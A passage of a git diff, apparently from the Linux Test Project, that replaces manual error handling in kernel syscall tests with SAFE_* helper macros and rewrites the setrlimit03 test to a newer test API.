-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "socket setup failed");
-	if (connect(s, (const struct sockaddr *)&sin1, sizeof(sin1)) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "connect failed");
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+			tdat[testno].proto);
+	SAFE_CONNECT(cleanup, s, (const struct sockaddr *)&sin1, sizeof(sin1));
 }
 
 static void cleanup1(void)
diff --git a/testcases/kernel/syscalls/sendfile/sendfile02.c b/testcases/kernel/syscalls/sendfile/sendfile02.c
index ba12308..e5f1151 100644
--- a/testcases/kernel/syscalls/sendfile/sendfile02.c
+++ b/testcases/kernel/syscalls/sendfile/sendfile02.c
@@ -57,6 +57,7 @@
 #include <unistd.h>
 #include <inttypes.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #ifndef OFF_T
 #define OFF_T off_t
@@ -107,9 +108,7 @@
 	if ((in_fd = open(in_file, O_RDONLY)) < 0) {
 		tst_brkm(TBROK, cleanup, "open failed: %d", errno);
 	}
-	if (stat(in_file, &sb) < 0) {
-		tst_brkm(TBROK, cleanup, "stat failed: %d", errno);
-	}
+	SAFE_STAT(cleanup, in_file, &sb);
 
 	if ((before_pos = lseek(in_fd, 0, SEEK_CUR)) < 0) {
 		tst_brkm(TBROK, cleanup,
@@ -229,8 +228,7 @@
 			 strerror(errno));
 		return -1;
 	}
-	if (getsockname(sockfd, (struct sockaddr *)&sin1, &slen) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "getsockname failed");
+	SAFE_GETSOCKNAME(cleanup, sockfd, (struct sockaddr *)&sin1, &slen);
 
 	child_pid = FORK_OR_VFORK();
 	if (child_pid < 0) {
@@ -257,10 +255,7 @@
 			 strerror(errno));
 		return -1;
 	}
-	if (connect(s, (struct sockaddr *)&sin1, sizeof(sin1)) < 0) {
-		tst_brkm(TBROK, cleanup, "call to connect() failed: %s",
-			 strerror(errno));
-	}
+	SAFE_CONNECT(cleanup, s, (struct sockaddr *)&sin1, sizeof(sin1));
 	return s;
 
 }
diff --git a/testcases/kernel/syscalls/sendfile/sendfile04.c b/testcases/kernel/syscalls/sendfile/sendfile04.c
index 822c468..0f315ab 100644
--- a/testcases/kernel/syscalls/sendfile/sendfile04.c
+++ b/testcases/kernel/syscalls/sendfile/sendfile04.c
@@ -57,6 +57,7 @@
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #ifndef OFF_T
 #define OFF_T off_t
@@ -114,14 +115,11 @@
 	if ((in_fd = open(in_file, O_RDONLY)) < 0) {
 		tst_brkm(TBROK, cleanup, "open failed: %d", errno);
 	}
-	if (stat(in_file, &sb) < 0) {
-		tst_brkm(TBROK, cleanup, "stat failed: %d", errno);
-	}
+	SAFE_STAT(cleanup, in_file, &sb);
 
 	if (pass_unmapped_buffer) {
-		if (munmap(protected_buffer, sizeof(*protected_buffer)) < 0) {
-			tst_brkm(TBROK, cleanup, "munmap failed: %d", errno);
-		}
+		SAFE_MUNMAP(cleanup, protected_buffer,
+			    sizeof(*protected_buffer));
 	}
 
 	TEST(sendfile(out_fd, in_fd, protected_buffer, sb.st_size));
@@ -227,8 +225,7 @@
 			 strerror(errno));
 		return -1;
 	}
-	if (getsockname(sockfd, (struct sockaddr *)&sin1, &slen) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "getsockname failed");
+	SAFE_GETSOCKNAME(cleanup, sockfd, (struct sockaddr *)&sin1, &slen);
 
 	child_pid = FORK_OR_VFORK();
 	if (child_pid < 0) {
@@ -255,10 +252,7 @@
 			 strerror(errno));
 		return -1;
 	}
-	if (connect(s, (struct sockaddr *)&sin1, sizeof(sin1)) < 0) {
-		tst_brkm(TBROK, cleanup, "call to connect() failed: %s",
-			 strerror(errno));
-	}
+	SAFE_CONNECT(cleanup, s, (struct sockaddr *)&sin1, sizeof(sin1));
 	return s;
 
 }
diff --git a/testcases/kernel/syscalls/sendfile/sendfile05.c b/testcases/kernel/syscalls/sendfile/sendfile05.c
index 110194b..0f268ce 100644
--- a/testcases/kernel/syscalls/sendfile/sendfile05.c
+++ b/testcases/kernel/syscalls/sendfile/sendfile05.c
@@ -52,6 +52,7 @@
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #ifndef OFF_T
 #define OFF_T off_t
@@ -88,9 +89,7 @@
 	if ((in_fd = open(in_file, O_RDONLY)) < 0) {
 		tst_brkm(TBROK, cleanup, "open failed: %d", errno);
 	}
-	if (stat(in_file, &sb) < 0) {
-		tst_brkm(TBROK, cleanup, "stat failed: %d", errno);
-	}
+	SAFE_STAT(cleanup, in_file, &sb);
 
 	offset = -1;
 	TEST(sendfile(out_fd, in_fd, &offset, sb.st_size));
@@ -191,8 +190,7 @@
 			 strerror(errno));
 		return -1;
 	}
-	if (getsockname(sockfd, (struct sockaddr *)&sin1, &slen) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "getsockname failed");
+	SAFE_GETSOCKNAME(cleanup, sockfd, (struct sockaddr *)&sin1, &slen);
 
 	child_pid = FORK_OR_VFORK();
 	if (child_pid < 0) {
@@ -219,10 +217,7 @@
 			 strerror(errno));
 		return -1;
 	}
-	if (connect(s, (struct sockaddr *)&sin1, sizeof(sin1)) < 0) {
-		tst_brkm(TBROK, cleanup, "call to connect() failed: %s",
-			 strerror(errno));
-	}
+	SAFE_CONNECT(cleanup, s, (struct sockaddr *)&sin1, sizeof(sin1));
 	return s;
 
 }
diff --git a/testcases/kernel/syscalls/sendfile/sendfile06.c b/testcases/kernel/syscalls/sendfile/sendfile06.c
index 7945195..abb6760 100644
--- a/testcases/kernel/syscalls/sendfile/sendfile06.c
+++ b/testcases/kernel/syscalls/sendfile/sendfile06.c
@@ -169,8 +169,7 @@
 			 strerror(errno));
 		return -1;
 	}
-	if (getsockname(sockfd, (struct sockaddr *)&sin1, &slen) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "getsockname failed");
+	SAFE_GETSOCKNAME(cleanup, sockfd, (struct sockaddr *)&sin1, &slen);
 
 	child_pid = FORK_OR_VFORK();
 	if (child_pid < 0) {
@@ -200,10 +199,7 @@
 		return -1;
 	}
 
-	if (connect(s, (struct sockaddr *)&sin1, sizeof(sin1)) < 0) {
-		tst_brkm(TBROK, cleanup, "call to connect() failed: %s",
-			 strerror(errno));
-	}
+	SAFE_CONNECT(cleanup, s, (struct sockaddr *)&sin1, sizeof(sin1));
 
 	return s;
 }
diff --git a/testcases/kernel/syscalls/sendfile/sendfile08.c b/testcases/kernel/syscalls/sendfile/sendfile08.c
index 21b2586..a296327 100644
--- a/testcases/kernel/syscalls/sendfile/sendfile08.c
+++ b/testcases/kernel/syscalls/sendfile/sendfile08.c
@@ -34,6 +34,7 @@
 #include <string.h>
 #include <unistd.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #define TEST_MSG_IN "world"
 #define TEST_MSG_OUT "hello"
@@ -66,10 +67,7 @@
 		if (TEST_RETURN == -1)
 			tst_brkm(TBROK | TTERRNO, cleanup, "sendfile() failed");
 
-		ret = lseek(out_fd, 0, SEEK_SET);
-		if (ret == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "lseek %s failed",
-				 out_file);
+		ret = SAFE_LSEEK(cleanup, out_fd, 0, SEEK_SET);
 		ret = read(out_fd, buf, BUFSIZ);
 		if (ret == -1)
 			tst_brkm(TBROK | TERRNO, cleanup, "read %s failed",
@@ -101,22 +99,16 @@
 
 	tst_tmpdir();
 
-	in_fd = creat(in_file, 0700);
-	if (in_fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Create %s failed", in_file);
+	in_fd = SAFE_CREAT(cleanup, in_file, 0700);
 
 	ret = write(in_fd, TEST_MSG_IN, strlen(TEST_MSG_IN));
 	if (ret == -1)
 		tst_brkm(TBROK | TERRNO, cleanup, "Write %s failed", in_file);
 	close(in_fd);
 
-	in_fd = open(in_file, O_RDONLY);
-	if (in_fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Open %s failed", in_file);
+	in_fd = SAFE_OPEN(cleanup, in_file, O_RDONLY);
+	out_fd = SAFE_OPEN(cleanup, out_file, O_TRUNC | O_CREAT | O_RDWR, 0777);
 
-	out_fd = open(out_file, O_TRUNC | O_CREAT | O_RDWR, 0777);
-	if (out_fd == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "Open %s failed", out_file);
 	ret = write(out_fd, TEST_MSG_OUT, strlen(TEST_MSG_OUT));
 	if (ret == -1)
 		tst_brkm(TBROK | TERRNO, cleanup, "Write %s failed", out_file);
diff --git a/testcases/kernel/syscalls/sendmsg/sendmsg01.c b/testcases/kernel/syscalls/sendmsg/sendmsg01.c
index dcf3ab7..36f6914 100644
--- a/testcases/kernel/syscalls/sendmsg/sendmsg01.c
+++ b/testcases/kernel/syscalls/sendmsg/sendmsg01.c
@@ -48,6 +48,7 @@
 #include <netinet/in.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "sendmsg01";
 int testno;
@@ -441,8 +442,7 @@
 			 strerror(errno));
 		return -1;
 	}
-	if (getsockname(sfd, (struct sockaddr *)sin0, &slen) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "getsockname failed");
+	SAFE_GETSOCKNAME(cleanup, sfd, (struct sockaddr *)sin0, &slen);
 
 	/* set up UNIX-domain socket */
 	ufd = socket(PF_UNIX, SOCK_DGRAM, 0);
@@ -589,11 +589,8 @@
 
 static void setup1(void)
 {
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0) {
-		tst_brkm(TBROK, cleanup, "socket setup failed: %s",
-			 strerror(errno));
-	}
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+			tdat[testno].proto);
 	if (tdat[testno].type == SOCK_STREAM &&
 	    connect(s, (struct sockaddr *)tdat[testno].to,
 		    tdat[testno].tolen) < 0) {
@@ -618,11 +615,8 @@
 
 static void setup3(void)
 {
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0) {
-		tst_brkm(TBROK, cleanup, "socket setup failed: %s",
-			 strerror(errno));
-	}
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+		        tdat[testno].proto);
 }
 
 static char tmpfilename[1024];
@@ -659,14 +653,10 @@
 
 static void setup5(void)
 {
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0) {
-		tst_brkm(TBROK, cleanup, "socket setup failed: %s",
-			 strerror(errno));
-	}
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+			tdat[testno].proto);
 
-	if (connect(s, (struct sockaddr *)&sin1, sizeof(sin1)) < 0)
-		tst_brkm(TBROK, cleanup, "connect failed: %s", strerror(errno));
+	SAFE_CONNECT(cleanup, s, (struct sockaddr *)&sin1, sizeof(sin1));
 
 	/* slight change destination (port) so connect() is to different
 	 * 5-tuple than already connected
diff --git a/testcases/kernel/syscalls/sendto/sendto01.c b/testcases/kernel/syscalls/sendto/sendto01.c
index ec07661..6fe0274 100644
--- a/testcases/kernel/syscalls/sendto/sendto01.c
+++ b/testcases/kernel/syscalls/sendto/sendto01.c
@@ -41,6 +41,7 @@
 #include <netinet/in.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "sendto01";
 int testno;
@@ -252,8 +253,7 @@
 		tst_brkm(TBROK | TERRNO, cleanup, "server listen failed");
 		return -1;
 	}
-	if (getsockname(sfd, (struct sockaddr *)sin0, &slen) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "getsockname failed");
+	SAFE_GETSOCKNAME(cleanup, sfd, (struct sockaddr *)sin0, &slen);
 
 	switch ((pid = FORK_OR_VFORK())) {
 	case 0:
@@ -395,11 +395,9 @@
 
 static void setup1(void)
 {
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "socket setup failed");
-	if (connect(s, (const struct sockaddr *)&sin1, sizeof(sin1)) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "connect failed");
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+			tdat[testno].proto);
+	SAFE_CONNECT(cleanup, s, (const struct sockaddr *)&sin1, sizeof(sin1));
 }
 
 static void cleanup1(void)
@@ -418,7 +416,6 @@
 
 static void setup3(void)
 {
-	s = socket(tdat[testno].domain, tdat[testno].type, tdat[testno].proto);
-	if (s < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "socket setup failed");
+	s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type,
+		        tdat[testno].proto);
 }
diff --git a/testcases/kernel/syscalls/setfsuid/setfsuid04.c b/testcases/kernel/syscalls/setfsuid/setfsuid04.c
index 6d02b19..8585d62 100644
--- a/testcases/kernel/syscalls/setfsuid/setfsuid04.c
+++ b/testcases/kernel/syscalls/setfsuid/setfsuid04.c
@@ -38,6 +38,7 @@
 #include <unistd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 TCID_DEFINE(setfsuid04);
@@ -174,9 +175,7 @@
 	tst_tmpdir();
 
 	/* Create test file */
-	fd = open(testfile, O_CREAT | O_RDWR, 0644);
-	if (fd < 0)
-		tst_brkm(TBROK, cleanup, "cannot creat test file");
+	fd = SAFE_OPEN(cleanup, testfile, O_CREAT | O_RDWR, 0644);
 
 	tst_sig(FORK, DEF_HANDLER, cleanup);
 
diff --git a/testcases/kernel/syscalls/setns/setns01.c b/testcases/kernel/syscalls/setns/setns01.c
index 5d8a491..8648992 100644
--- a/testcases/kernel/syscalls/setns/setns01.c
+++ b/testcases/kernel/syscalls/setns/setns01.c
@@ -141,8 +141,7 @@
 
 static void setup4(struct testcase_t *t, int i)
 {
-	if (seteuid(ltpuser->pw_uid) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "seteuid failed");
+	SAFE_SETEUID(NULL, ltpuser->pw_uid);
 
 	t->fd = ns_fds[i];
 	t->ns_type = ns_types[i];
@@ -150,8 +149,7 @@
 
 static void cleanup4(struct testcase_t *t)
 {
-	if (seteuid(0) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "seteuid restore failed");
+	SAFE_SETEUID(NULL, 0);
 }
 
 static void test_setns(struct testcase_t *t)
diff --git a/testcases/kernel/syscalls/setns/setns02.c b/testcases/kernel/syscalls/setns/setns02.c
index 58a02a6..0f49028 100644
--- a/testcases/kernel/syscalls/setns/setns02.c
+++ b/testcases/kernel/syscalls/setns/setns02.c
@@ -150,8 +150,7 @@
 	if (ret == -1)
 		tst_brkm(TBROK|TERRNO, cleanup, "ltp_clone");
 
-	if (waitpid(ret, &status, 0) == -1)
-		tst_brkm(TBROK|TERRNO, cleanup, "waitpid");
+	SAFE_WAITPID(cleanup, ret, &status, 0);
 	if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 		tst_resm(TFAIL, "child returns %d", status);
 	else
diff --git a/testcases/kernel/syscalls/setregid/setregid02.c b/testcases/kernel/syscalls/setregid/setregid02.c
index 9359fcb..21d1c82 100644
--- a/testcases/kernel/syscalls/setregid/setregid02.c
+++ b/testcases/kernel/syscalls/setregid/setregid02.c
@@ -32,6 +32,7 @@
 #include <string.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 TCID_DEFINE(setregid02);
@@ -135,16 +136,8 @@
 	if (ltpuser == NULL)
 		tst_brkm(TBROK, NULL, "getpwnam(\"nobody\") failed");
 
-	if (setgid(ltpuser->pw_gid) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL,
-			 "setgid failed to set the effective gid to %d",
-			 ltpuser->pw_gid);
-	}
-	if (setuid(ltpuser->pw_uid) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL,
-			 "setuid failed to to set the effective uid to %d",
-			 ltpuser->pw_uid);
-	}
+	SAFE_SETGID(NULL, ltpuser->pw_gid);
+	SAFE_SETUID(NULL, ltpuser->pw_uid);
 
 	root = get_group_by_name("root");
 	ltpgroup = get_group_by_gid(ltpuser->pw_gid);
diff --git a/testcases/kernel/syscalls/setregid/setregid03.c b/testcases/kernel/syscalls/setregid/setregid03.c
index 2a48522..a51719e 100644
--- a/testcases/kernel/syscalls/setregid/setregid03.c
+++ b/testcases/kernel/syscalls/setregid/setregid03.c
@@ -30,6 +30,7 @@
 #include <sys/wait.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 TCID_DEFINE(setregid03);
@@ -104,8 +105,7 @@
 		if (SETREGID(NULL, sys.gr_gid, bin.gr_gid) == -1)
 			tst_brkm(TBROK, NULL, "Initial setregid failed");
 
-		if (seteuid(nobody.pw_uid) == -1)
-			tst_brkm(TBROK, NULL, "Initial seteuid failed");
+		SAFE_SETEUID(NULL, nobody.pw_uid);
 
 		if ((pid = FORK_OR_VFORK()) == -1) {
 			tst_brkm(TBROK, NULL, "fork failed");
diff --git a/testcases/kernel/syscalls/setresgid/setresgid01.c b/testcases/kernel/syscalls/setresgid/setresgid01.c
index 173ee35..d66c422 100644
--- a/testcases/kernel/syscalls/setresgid/setresgid01.c
+++ b/testcases/kernel/syscalls/setresgid/setresgid01.c
@@ -75,6 +75,7 @@
 #include <sys/types.h>
 #include <unistd.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 #define EXP_RET_VAL	0
@@ -163,10 +164,7 @@
 	uid_t cur_rgid, cur_egid, cur_sgid;
 
 	/* Get current real, effective and saved group id's */
-	if (getresgid(&cur_rgid, &cur_egid, &cur_sgid) == -1) {
-		tst_brkm(TBROK, cleanup, "getresgid() failed");
-
-	}
+	SAFE_GETRESGID(cleanup, &cur_rgid, &cur_egid, &cur_sgid);
 
 	if ((cur_rgid == exp_rgid) && (cur_egid == exp_egid)
 	    && (cur_sgid == exp_sgid)) {
diff --git a/testcases/kernel/syscalls/setresgid/setresgid02.c b/testcases/kernel/syscalls/setresgid/setresgid02.c
index ebdaec9..2c45fc2 100644
--- a/testcases/kernel/syscalls/setresgid/setresgid02.c
+++ b/testcases/kernel/syscalls/setresgid/setresgid02.c
@@ -80,6 +80,7 @@
 #include <sys/types.h>
 #include <unistd.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 #define EXP_RET_VAL	0
@@ -170,10 +171,7 @@
 	uid_t cur_rgid, cur_egid, cur_sgid;
 
 	/* Get current real, effective and saved group id */
-	if (getresgid(&cur_rgid, &cur_egid, &cur_sgid) == -1) {
-		tst_brkm(TBROK, cleanup, "getresgid() failed");
-
-	}
+	SAFE_GETRESGID(cleanup, &cur_rgid, &cur_egid, &cur_sgid);
 
 	if ((cur_rgid == exp_rgid) && (cur_egid == exp_egid)
 	    && (cur_sgid == exp_sgid)) {
diff --git a/testcases/kernel/syscalls/setresgid/setresgid03.c b/testcases/kernel/syscalls/setresgid/setresgid03.c
index 199c1b1..78c8948 100644
--- a/testcases/kernel/syscalls/setresgid/setresgid03.c
+++ b/testcases/kernel/syscalls/setresgid/setresgid03.c
@@ -80,6 +80,7 @@
 #include <sys/types.h>
 #include <unistd.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 #define EXP_RET_VAL	-1
@@ -167,10 +168,7 @@
 	uid_t cur_rgid, cur_egid, cur_sgid;
 
 	/* Get current real, effective and saved group id */
-	if (getresgid(&cur_rgid, &cur_egid, &cur_sgid) == -1) {
-		tst_brkm(TBROK, cleanup, "getresgid() failed");
-
-	}
+	SAFE_GETRESGID(cleanup, &cur_rgid, &cur_egid, &cur_sgid);
 
 	if ((cur_rgid == exp_rgid) && (cur_egid == exp_egid)
 	    && (cur_sgid == exp_sgid)) {
@@ -217,11 +215,7 @@
 			 " setting real/effective/saved gid");
 	}
 	/* Set euid to nobody */
-	if (setuid(nobody.pw_uid) == -1) {
-		tst_brkm(TBROK, NULL, "setuid failed to "
-			 "to set the effective uid to nodody");
-
-	}
+	SAFE_SETUID(NULL, nobody.pw_uid);
 	/* Pause if that option was specified
 	 * TEST_PAUSE contains the code to fork the test with the -c option.
 	 */
diff --git a/testcases/kernel/syscalls/setresuid/setresuid04.c b/testcases/kernel/syscalls/setresuid/setresuid04.c
index 4f17cb9..e197476 100644
--- a/testcases/kernel/syscalls/setresuid/setresuid04.c
+++ b/testcases/kernel/syscalls/setresuid/setresuid04.c
@@ -51,6 +51,7 @@
 #include <fcntl.h>
 #include <unistd.h>
 #include "test.h"
+#include "safe_macros.h"
 #include <pwd.h>
 #include "compat_16.h"
 
@@ -202,9 +203,7 @@
 	sprintf(testfile, "setresuid04file%d.tst", getpid());
 
 	/* Create test file */
-	fd = open(testfile, O_CREAT | O_RDWR, 0644);
-	if (fd < 0)
-		tst_brkm(TBROK, cleanup, "cannot creat test file");
+	fd = SAFE_OPEN(cleanup, testfile, O_CREAT | O_RDWR, 0644);
 
 	tst_sig(FORK, DEF_HANDLER, cleanup);
 
diff --git a/testcases/kernel/syscalls/setreuid/setreuid03.c b/testcases/kernel/syscalls/setreuid/setreuid03.c
index b62098e..ecf30d6 100644
--- a/testcases/kernel/syscalls/setreuid/setreuid03.c
+++ b/testcases/kernel/syscalls/setreuid/setreuid03.c
@@ -28,6 +28,7 @@
 #include <stdlib.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 #define FAILED  1
@@ -169,8 +170,7 @@
 	bin = *(getpwnam("bin"));
 	UID16_CHECK(bin.pw_uid, setreuid, cleanup);
 
-	if (setuid(nobody.pw_uid) < 0)
-		tst_brkm(TBROK | TERRNO, NULL, "setuid() to nobody failed");
+	SAFE_SETUID(NULL, nobody.pw_uid);
 
 	TEST_PAUSE;
 }
diff --git a/testcases/kernel/syscalls/setreuid/setreuid06.c b/testcases/kernel/syscalls/setreuid/setreuid06.c
index 8dbeb20..22acd99 100644
--- a/testcases/kernel/syscalls/setreuid/setreuid06.c
+++ b/testcases/kernel/syscalls/setreuid/setreuid06.c
@@ -33,6 +33,7 @@
 #include <sys/stat.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 #define INVAL_USER		 (USHRT_MAX-2)
@@ -84,9 +85,7 @@
 	if (ltpuser == NULL)
 		tst_brkm(TBROK, NULL, "nobody must be a valid user.");
 
-	if (setuid(ltpuser->pw_uid) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "setuid failed to "
-			 "to set the effective uid to %d", ltpuser->pw_uid);
+	SAFE_SETUID(NULL, ltpuser->pw_uid);
 
 	TEST_PAUSE;
 }
diff --git a/testcases/kernel/syscalls/setreuid/setreuid07.c b/testcases/kernel/syscalls/setreuid/setreuid07.c
index 30c392d..ff222cd 100644
--- a/testcases/kernel/syscalls/setreuid/setreuid07.c
+++ b/testcases/kernel/syscalls/setreuid/setreuid07.c
@@ -36,6 +36,7 @@
 #include <pwd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "compat_16.h"
 
 TCID_DEFINE(setreuid07);
@@ -176,10 +177,7 @@
 	sprintf(testfile, "setreuid07file%d.tst", getpid());
 
 	/* Create test file */
-	fd = open(testfile, O_CREAT | O_RDWR, 0644);
-	if (fd < 0)
-		tst_brkm(TBROK | TERRNO,
-			cleanup, "cannot create test file");
+	fd = SAFE_OPEN(cleanup, testfile, O_CREAT | O_RDWR, 0644);
 
 	tst_sig(FORK, DEF_HANDLER, cleanup);
 
diff --git a/testcases/kernel/syscalls/setrlimit/setrlimit01.c b/testcases/kernel/syscalls/setrlimit/setrlimit01.c
index d0eb1b9..f66f995 100644
--- a/testcases/kernel/syscalls/setrlimit/setrlimit01.c
+++ b/testcases/kernel/syscalls/setrlimit/setrlimit01.c
@@ -36,6 +36,7 @@
 #include <stdlib.h>
 #include <unistd.h>
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "setrlimit01";
 int TST_TOTAL = 1;
@@ -124,8 +125,7 @@
 	 */
 	int pipefd[2];
 	fflush(stdout);
-	if (pipe(pipefd) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "pipe creation failed");
+	SAFE_PIPE(NULL, pipefd);
 
 	/*
 	 * Spawn a child process, and reduce the filesize to
@@ -162,8 +162,7 @@
 	}
 
 	/* parent */
-	if (waitpid(pid, &status, 0) == -1)
-		tst_brkm(TBROK, cleanup, "waitpid() failed");
+	SAFE_WAITPID(cleanup, pid, &status, 0);
 
 	switch (WEXITSTATUS(status)) {
 	case 0:
@@ -195,8 +194,7 @@
  */
 static void test3(void)
 {
-	if (getrlimit(RLIMIT_NPROC, &save_rlim) < 0)
-		tst_brkm(TBROK, cleanup, "getrlimit failed, errno: %d", errno);
+	SAFE_GETRLIMIT(cleanup, RLIMIT_NPROC, &save_rlim);
 
 	rlim.rlim_cur = 10;
 	rlim.rlim_max = 10;
diff --git a/testcases/kernel/syscalls/setrlimit/setrlimit03.c b/testcases/kernel/syscalls/setrlimit/setrlimit03.c
index e0beb17..d551c90 100644
--- a/testcases/kernel/syscalls/setrlimit/setrlimit03.c
+++ b/testcases/kernel/syscalls/setrlimit/setrlimit03.c
@@ -1,116 +1,79 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ * Copyright (c) 2017 Xiao Yang <yangx.jy@cn.fujitsu.com>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
 /*
- * NAME
- *	setrlimit03.c
- *
  * DESCRIPTION
- *	Test for EPERM when the super-user tries to increase RLIMIT_NOFILE
- *	beyond the system limit.
- *
- * USAGE:  <for command-line>
- *  setrlimit03 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	Must run test as root.
+ *  1) Test for EPERM when the super-user tries to increase RLIMIT_NOFILE
+ *     beyond the system limit.
+ *  2) Test for EINVAL when rlim->rlim_cur is greater than rlim->rlim_max.
  */
+
+#include <errno.h>
 #include <sys/time.h>
 #include <sys/resource.h>
-#include <unistd.h>
-#include <errno.h>
-#include "test.h"
 #include <linux/fs.h>
-
-char *TCID = "setrlimit03";
-int TST_TOTAL = 1;
+#include "tst_test.h"
 
 #if !defined(NR_OPEN)
-//Taken from definition in /usr/include/linux/fs.h
-#define NR_OPEN (1024*1024)
+// Taken from definition in /usr/include/linux/fs.h
+# define NR_OPEN (1024*1024)
 #endif
 
-void setup();
-void cleanup();
+static struct rlimit rlim1, rlim2;
 
-int main(int ac, char **av)
+static struct tcase {
+	struct rlimit *rlimt;
+	int exp_err;
+} tcases[] = {
+	{&rlim1, EPERM},
+	{&rlim2, EINVAL}
+};
+
+static void verify_setrlimit(unsigned int n)
 {
-	int lc;
-	struct rlimit rlim;
+	struct tcase *tc = &tcases[n];
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		if (getrlimit(RLIMIT_NOFILE, &rlim) != 0)
-			tst_brkm(TFAIL, cleanup, "getrlimit failed, "
-				 "errno = %d", errno);
-		rlim.rlim_max = NR_OPEN + 1;
-
-		TEST(setrlimit(RLIMIT_NOFILE, &rlim));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "call succeeded unexpectedly");
-			continue;
-		}
-
-		if (TEST_ERRNO != EPERM) {
-			tst_resm(TFAIL, "Expected EPERM, got %d", TEST_ERRNO);
-		} else {
-			tst_resm(TPASS, "got expected EPERM error");
-		}
+	TEST(setrlimit(RLIMIT_NOFILE, tc->rlimt));
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "call succeeded unexpectedly");
+		return;
 	}
-	cleanup();
-	tst_exit();
 
+	if (TEST_ERRNO != tc->exp_err) {
+		tst_res(TFAIL | TTERRNO, "setrlimit() should fail with %s, got",
+			tst_strerrno(tc->exp_err));
+	} else {
+		tst_res(TPASS | TTERRNO, "setrlimit() failed as expected");
+	}
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
-	tst_require_root();
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
